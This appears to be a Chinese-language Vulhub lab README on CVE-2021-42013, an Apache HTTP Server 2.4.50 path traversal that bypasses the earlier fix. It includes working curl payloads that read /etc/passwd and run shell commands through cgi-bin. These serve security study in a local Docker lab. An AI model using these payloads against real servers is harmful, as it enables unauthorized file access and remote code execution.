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httpd/CVE-2021-42013/README.zh-cn.md
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httpd/CVE-2021-42013/README.zh-cn.md
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# Apache HTTP Server 2.4.50 路径穿越漏洞(CVE-2021-42013)
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Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。Apache官方在2.4.50版本中对2.4.49版本中出现的目录穿越漏洞[CVE-2021-41773](https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2021-41773)进行了修复,但这个修复是不完整的,CVE-2021-42013是对补丁的绕过。
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攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。
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这个漏洞可以影响Apache HTTP Server 2.4.49以及2.4.50两个版本。
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参考链接:
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- https://httpd.apache.org/security/vulnerabilities_24.html
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- https://twitter.com/roman_soft/status/1446252280597078024
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## 漏洞环境
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执行如下命令编译及运行一个存在漏洞的Apache HTTP Server 2.4.50版本服务器:
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```
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docker compose build
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docker compose up -d
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```
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环境启动后,访问`http://your-ip:8080`即可看到Apache默认的`It works!`页面。
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## 漏洞利用
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我们使用[CVE-2021-41773](https://github.com/vulhub/vulhub/tree/master/httpd/CVE-2021-41773)中的Payload已经无法成功利用漏洞了,说明2.4.50进行了修复。
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但我们可以使用`.%%32%65`进行绕过(注意其中的`/icons/`必须是一个存在且可访问的目录):
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```
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curl -v --path-as-is http://your-ip:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
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```
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可见,成功读取到`/etc/passwd`:
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在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令:
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```
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curl -v --data "echo;id" 'http://your-ip:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
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```
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